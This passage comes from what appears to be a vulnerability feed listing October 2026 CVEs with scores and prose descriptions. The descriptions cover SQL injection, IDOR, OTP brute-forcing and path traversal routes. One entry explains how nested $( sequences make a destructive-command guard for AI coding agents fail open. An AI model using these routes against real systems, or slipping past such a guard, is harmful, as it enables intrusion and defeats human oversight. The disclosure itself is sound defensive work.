EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111685&date=2026-10-25).
Sources:
NVD CVE-2026-111685: https://nvd.nist.gov/vuln/detail/CVE-2026-111685
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111685&date=2026-10-25
IceCMS through 4.1.5 contains an unauthenticated sql injection vulnerability that allows remote attackers to inject SQL by supplying a crafted num path parameter to /WebResource/findresourcebynum. Attackers can append SQL after the LIMIT clause concatenated via QueryWrapper.last() to extract database contents using union-based or blind techniques.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### APIPark through 1.9.7-beta contains an authorization bypass vulnerability that allows authenticated team managers to access other teams' services and applications by supplying...
https://kevwire.com/record/CVE-2026-111680
APIPark through 1.9.7-beta contains an authorization bypass vulnerability that allows authenticated team managers to access other teams' services and applications by supplying... (Oct 16, 2026).
APIPark through 1.9.7-beta contains an authorization bypass vulnerability that allows authenticated team managers to access other teams' services and applications by supplying their own team id in the team query parameter. Attackers can target service or app ids exposed by /api/v1/simple/services and /api/v1/simple/apps to read, modify, or delete other teams' services and applications via /api/v1/service/info and /api/v1/app endpoints.
CVSS 7.2 (version 4.0; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111680).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111680&date=2026-10-25).
Sources:
NVD CVE-2026-111680: https://nvd.nist.gov/vuln/detail/CVE-2026-111680
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111680&date=2026-10-25
APIPark through 1.9.7-beta contains an authorization bypass vulnerability that allows authenticated team managers to access other teams' services and applications by supplying their own team id in the team query parameter. Attackers can target service or app ids exposed by /api/v1/simple/services and /api/v1/simple/apps to read, modify, or delete other teams' services and applications via /api/v1/service/info and /api/v1/app endpoints.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Course-tencent-cloud through 2.0.1 contains an improper restriction of authentication attempts vulnerability that allows unauthenticated attackers to brute force 6-digit SMS/email...
https://kevwire.com/record/CVE-2026-111675
Course-tencent-cloud through 2.0.1 contains an improper restriction of authentication attempts vulnerability that allows unauthenticated attackers to brute force 6-digit SMS/email... (Oct 16, 2026).
Course-tencent-cloud through 2.0.1 contains an improper restriction of authentication attempts vulnerability that allows unauthenticated attackers to brute force 6-digit SMS/email verification codes, which are never invalidated or attempt-limited. Attackers who know a victim's phone or email can trigger a code and rotate source IPs against the password reset and verify login endpoints to take over accounts.
CVSS 9.1 (version 4.0; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111675).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111675&date=2026-10-25).
Sources:
NVD CVE-2026-111675: https://nvd.nist.gov/vuln/detail/CVE-2026-111675
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111675&date=2026-10-25
Course-tencent-cloud through 2.0.1 contains an improper restriction of authentication attempts vulnerability that allows unauthenticated attackers to brute force 6-digit SMS/email verification codes, which are never invalidated or attempt-limited. Attackers who know a victim's phone or email can trigger a code and rotate source IPs against the password reset and verify login endpoints to take over accounts.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### ChronoFrame through 1.0.0 contains a missing authentication vulnerability in the server/api/wizard/ handlers that allows unauthenticated attackers to reconfigure already...
https://kevwire.com/record/CVE-2026-111650
ChronoFrame through 1.0.0 contains a missing authentication vulnerability in the server/api/wizard/ handlers that allows unauthenticated attackers to reconfigure already... (Oct 16, 2026).
ChronoFrame through 1.0.0 contains a missing authentication vulnerability in the server/api/wizard/ handlers that allows unauthenticated attackers to reconfigure already configured instances. Attackers can POST to /api/wizard/storage to activate an attacker-controlled S3 or OpenList provider, redirecting uploads and storage reads, and overwrite site and map settings.
CVSS 8.8 (version 4.0; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111650).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111650&date=2026-10-25).
Sources:
NVD CVE-2026-111650: https://nvd.nist.gov/vuln/detail/CVE-2026-111650
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111650&date=2026-10-25
ChronoFrame through 1.0.0 contains a missing authentication vulnerability in the server/api/wizard/ handlers that allows unauthenticated attackers to reconfigure already configured instances. Attackers can POST to /api/wizard/storage to activate an attacker-controlled S3 or OpenList provider, redirecting uploads and storage reads, and overwrite site and map settings.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Print Spooler Components allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-84018
Use after free in Windows Print Spooler Components allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Print Spooler Components allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-84018).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-84018&date=2026-10-25).
Sources:
NVD CVE-2026-84018: https://nvd.nist.gov/vuln/detail/CVE-2026-84018
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-84018
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-84018&date=2026-10-25
Use after free in Windows Print Spooler Components allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Advanced Rasterization Platform allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-84019
Use after free in Windows Advanced Rasterization Platform allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Advanced Rasterization Platform allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-84019).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-84019&date=2026-10-25).
Sources:
NVD CVE-2026-84019: https://nvd.nist.gov/vuln/detail/CVE-2026-84019
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-84019
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-84019&date=2026-10-25
Use after free in Windows Advanced Rasterization Platform allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Routing and Remote Access Service (RRAS) allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-84020
Use after free in Windows Routing and Remote Access Service (RRAS) allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Routing and Remote Access Service (RRAS) allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-84020).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-84020&date=2026-10-25).
Sources:
NVD CVE-2026-84020: https://nvd.nist.gov/vuln/detail/CVE-2026-84020
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-84020
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-84020&date=2026-10-25
Use after free in Windows Routing and Remote Access Service (RRAS) allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Access of resource using incompatible type ('type confusion') in Desktop Window Manager allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-69880
Access of resource using incompatible type ('type confusion') in Desktop Window Manager allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Access of resource using incompatible type ('type confusion') in Desktop Window Manager allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-69880).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-69880&date=2026-10-25).
Sources:
NVD CVE-2026-69880: https://nvd.nist.gov/vuln/detail/CVE-2026-69880
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-69880
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-69880&date=2026-10-25
Access of resource using incompatible type ('type confusion') in Desktop Window Manager allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Untrusted search path in Windows Update allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-69882
Untrusted search path in Windows Update allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Untrusted search path in Windows Update allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-69882).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-69882&date=2026-10-25).
Sources:
NVD CVE-2026-69882: https://nvd.nist.gov/vuln/detail/CVE-2026-69882
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-69882
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-69882&date=2026-10-25
Untrusted search path in Windows Update allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows iSCSI allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-69883
Use after free in Windows iSCSI allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Use after free in Windows iSCSI allows an unauthorized attacker to execute code over a network.
CVSS 9.8 (version 3.1; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-69883).
EPSS 0.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-69883&date=2026-10-25).
Sources:
NVD CVE-2026-69883: https://nvd.nist.gov/vuln/detail/CVE-2026-69883
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-69883
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-69883&date=2026-10-25
Use after free in Windows iSCSI allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Remote Desktop Client allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-69991
Use after free in Remote Desktop Client allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Use after free in Remote Desktop Client allows an unauthorized attacker to execute code over a network.
CVSS 7.5 (version 3.1; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-69991).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-69991&date=2026-10-25).
Sources:
NVD CVE-2026-69991: https://nvd.nist.gov/vuln/detail/CVE-2026-69991
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-69991
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-69991&date=2026-10-25
Use after free in Remote Desktop Client allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### destructive_command_guard (dcg) is a command-line safety tool that blocks destructive shell commands before AI coding agents run them.
https://kevwire.com/record/CVE-2026-77474
destructive_command_guard (dcg) is a command-line safety tool that blocks destructive shell commands before AI coding agents run them. (Oct 16, 2026).
destructive_command_guard (dcg) is a command-line safety tool that blocks destructive shell commands before AI coding agents run them. Prior to 0.6.6, nested or unclosed substitutions are recursively rescanned after an inner scan returns unterminated, producing exponential-time work. The affected scanners are reached through split_command_segments in src/packs/mod.rs. a destructive command followed by nested or unclosed $( or $(( sequences. nested or unclosed $( and $(( sequences cause repeated rescanning of the remaining command suffix. a hung PreToolUse hook fails open, allowing the destructive command to proceed. This issue is fixed in version 0.6.6.
CVSS 7.1 (version 3.1; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-77474).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-77474&date=2026-10-25).
Sources:
NVD CVE-2026-77474: https://nvd.nist.gov/vuln/detail/CVE-2026-77474
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-77474&date=2026-10-25
destructive_command_guard (dcg) is a command-line safety tool that blocks destructive shell commands before AI coding agents run them. Prior to 0.6.6, nested or unclosed substitutions are recursively rescanned after an inner scan returns unterminated, producing exponential-time work. The affected scanners are reached through split_command_segments in src/packs/mod.rs. a destructive command followed by nested or unclosed $( or $(( sequences. nested or unclosed $( and $(( sequences cause repeated rescanning of the remaining command suffix. a hung PreToolUse hook fails open, allowing the destructive command to proceed. This issue is fixed in version 0.6.6.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### libIEC61850 is an open-source implementation of IEC 61850 client and server protocols including MMS, GOOSE, Sampled Values, and R-Session.
https://kevwire.com/record/CVE-2026-68906
libIEC61850 is an open-source implementation of IEC 61850 client and server protocols including MMS, GOOSE, Sampled Values, and R-Session. (Oct 16, 2026).
libIEC61850 is an open-source implementation of IEC 61850 client and server protocols including MMS, GOOSE, Sampled Values, and R-Session. Prior to 1.6.2, parseUserInformation in src/mms/iso_acse/acse.c checks len for zero before validating the negative bufPos returned by BerDecoder_decodeLength for a truncated long-form length. The continue path therefore swallows the error, reads buffer[-1], resets parsing to the beginning, and repeats the same malformed state. An unauthenticated remote peer can send a malformed AARE PDU during association to cause an infinite CPU loop under a normal allocator or a one-byte out-of-bounds read and process abort when the preceding byte is inaccessible. This issue is fixed in version 1.6.2.
CVSS 8.7 (version 4.0; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-68906).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-68906&date=2026-10-25).
Sources:
NVD CVE-2026-68906: https://nvd.nist.gov/vuln/detail/CVE-2026-68906
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-68906&date=2026-10-25
libIEC61850 is an open-source implementation of IEC 61850 client and server protocols including MMS, GOOSE, Sampled Values, and R-Session. Prior to 1.6.2, parseUserInformation in src/mms/iso_acse/acse.c checks len for zero before validating the negative bufPos returned by BerDecoder_decodeLength for a truncated long-form length. The continue path therefore swallows the error, reads buffer[-1], resets parsing to the beginning, and repeats the same malformed state. An unauthenticated remote peer can send a malformed AARE PDU during association to cause an infinite CPU loop under a normal allocator or a one-byte out-of-bounds read and process abort when the preceding byte is inaccessible. This issue is fixed in version 1.6.2.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### countly-server is the server-side part of Countly, a product analytics solution.
https://kevwire.com/record/CVE-2026-41582
countly-server is the server-side part of Countly, a product analytics solution. (Oct 16, 2026).
countly-server is the server-side part of Countly, a product analytics solution. Prior to 24.05.50 and 25.03.44, public image and screenshot routes implemented in frontend/express/app.js, plugins/star-rating/frontend/app.js, and plugins/dashboards/frontend/app.js concatenate attacker-controlled wildcard paths without containment validation. On deployments using the local filesystem backend, an unauthenticated request can traverse outside the intended asset directories and reach getStats or getStream in api/utils/countlyFs.js, allowing arbitrary readable server files to be disclosed. The affected routes include /appimages/*, /memberimages/*, */screenshots/*, /star-rating/images/*, and /dashboards/images/screenshots/*. This issue is fixed in versions 24.05.50 and 25.03.44.
CVSS 7.5 (version 3.1; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-41582).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-41582&date=2026-10-25).
Sources:
NVD CVE-2026-41582: https://nvd.nist.gov/vuln/detail/CVE-2026-41582
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-41582&date=2026-10-25
countly-server is the server-side part of Countly, a product analytics solution. Prior to 24.05.50 and 25.03.44, public image and screenshot routes implemented in frontend/express/app.js, plugins/star-rating/frontend/app.js, and plugins/dashboards/frontend/app.js concatenate attacker-controlled wildcard paths without containment validation. On deployments using the local filesystem backend, an unauthenticated request can traverse outside the intended asset directories and reach getStats or getStream in api/utils/countlyFs.js, allowing arbitrary readable server files to be disclosed. The affected routes include /appimages/*, /memberimages/*, */screenshots/*, /star-rating/images/*, and /dashboards/images/screenshots/*. This issue is fixed in versions 24.05.50 and 25.03.44.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Mall4cloud through 4.0 contains an insecure direct object reference vulnerability that allows authenticated merchants to read other shops' buyer shipping addresses via the...
https://kevwire.com/record/CVE-2026-111615
Mall4cloud through 4.0 contains an insecure direct object reference vulnerability that allows authenticated merchants to read other shops' buyer shipping addresses via the... (Oct 16, 2026).
Mall4cloud through 4.0 contains an insecure direct object reference vulnerability that allows authenticated merchants to read other shops' buyer shipping addresses via the multishop OrderController getOrderAddr handler. Attackers can enumerate auto-increment orderAddrId values in GET /m/order/order_addr/{orderAddrId} requests to obtain consignee names, mobile numbers, addresses and post codes platform-wide.
CVSS 7.1 (version 4.0; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111615).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111615&date=2026-10-25).
Sources:
NVD CVE-2026-111615: https://nvd.nist.gov/vuln/detail/CVE-2026-111615
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111615&date=2026-10-25
Mall4cloud through 4.0 contains an insecure direct object reference vulnerability that allows authenticated merchants to read other shops' buyer shipping addresses via the multishop OrderController getOrderAddr handler. Attackers can enumerate auto-increment orderAddrId values in GET /m/order/order_addr/{orderAddrId} requests to obtain consignee names, mobile numbers, addresses and post codes platform-wide.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Jpom through 2.11.12 contains an authorization bypass vulnerability in SshFileController that allows authenticated workspace users to access SSH hosts belonging to other...
https://kevwire.com/record/CVE-2026-111605
Jpom through 2.11.12 contains an authorization bypass vulnerability in SshFileController that allows authenticated workspace users to access SSH hosts belonging to other... (Oct 16, 2026).
Jpom through 2.11.12 contains an authorization bypass vulnerability in SshFileController that allows authenticated workspace users to access SSH hosts belonging to other workspaces by supplying foreign SSH asset ids. Attackers with SSH file permissions in any workspace can call download, upload, read_file_data.json, update_file_data.json, delete.json, rename.json and new_file_folder.json endpoints to read, modify and delete files on other workspaces' SSH hosts.
CVSS 8.6 (version 4.0; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111605).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111605&date=2026-10-25).
Sources:
NVD CVE-2026-111605: https://nvd.nist.gov/vuln/detail/CVE-2026-111605
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111605&date=2026-10-25
Jpom through 2.11.12 contains an authorization bypass vulnerability in SshFileController that allows authenticated workspace users to access SSH hosts belonging to other workspaces by supplying foreign SSH asset ids. Attackers with SSH file permissions in any workspace can call download, upload, read_file_data.json, update_file_data.json, delete.json, rename.json and new_file_folder.json endpoints to read, modify and delete files on other workspaces' SSH hosts.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Mitigation bypass in the Enterprise Policies component.
https://kevwire.com/record/CVE-2026-109766
Mitigation bypass in the Enterprise Policies component. (Oct 13, 2026).
Mitigation bypass in the Enterprise Policies component. This vulnerability was fixed in Firefox 158, Firefox ESR 153.5, Thunderbird 158, and Thunderbird 153.5.
CVSS 8.1 (version 3.1; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109766).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109766&date=2026-10-25).
Sources:
NVD CVE-2026-109766: https://nvd.nist.gov/vuln/detail/CVE-2026-109766
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109766&date=2026-10-25
Mitigation bypass in the Enterprise Policies component. This vulnerability was fixed in Firefox 158, Firefox ESR 153.5, Thunderbird 158, and Thunderbird 153.5.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Mitigation bypass in the Networking: HTTP component.
https://kevwire.com/record/CVE-2026-109760
Mitigation bypass in the Networking: HTTP component. (Oct 13, 2026).
Mitigation bypass in the Networking: HTTP component. This vulnerability was fixed in Firefox 158, Firefox ESR 153.5, Thunderbird 158, and Thunderbird 153.5.
CVSS 8.1 (version 3.1; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109760).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109760&date=2026-10-25).
Sources:
NVD CVE-2026-109760: https://nvd.nist.gov/vuln/detail/CVE-2026-109760
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109760&date=2026-10-25
Mitigation bypass in the Networking: HTTP component. This vulnerability was fixed in Firefox 158, Firefox ESR 153.5, Thunderbird 158, and Thunderbird 153.5.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Site isolation issue in the Networking component.
https://kevwire.com/record/CVE-2026-109759
Site isolation issue in the Networking component. (Oct 13, 2026).
Site isolation issue in the Networking component. This vulnerability was fixed in Firefox 158, Firefox ESR 153.5, Thunderbird 158, and Thunderbird 153.5.
CVSS 8.1 (version 3.1; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109759).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109759&date=2026-10-25).
Sources:
NVD CVE-2026-109759: https://nvd.nist.gov/vuln/detail/CVE-2026-109759
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109759&date=2026-10-25
Site isolation issue in the Networking component. This vulnerability was fixed in Firefox 158, Firefox ESR 153.5, Thunderbird 158, and Thunderbird 153.5.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Incorrect boundary conditions in the DOM: Editor component.
https://kevwire.com/record/CVE-2026-109754
Incorrect boundary conditions in the DOM: Editor component. (Oct 13, 2026).
Incorrect boundary conditions in the DOM: Editor component. This vulnerability was fixed in Firefox 158, Firefox ESR 153.5, Thunderbird 158, and Thunderbird 153.5.
CVSS 8.1 (version 3.1; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109754).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109754&date=2026-10-25).
Sources:
NVD CVE-2026-109754: https://nvd.nist.gov/vuln/detail/CVE-2026-109754
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109754&date=2026-10-25
Incorrect boundary conditions in the DOM: Editor component. This vulnerability was fixed in Firefox 158, Firefox ESR 153.5, Thunderbird 158, and Thunderbird 153.5.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
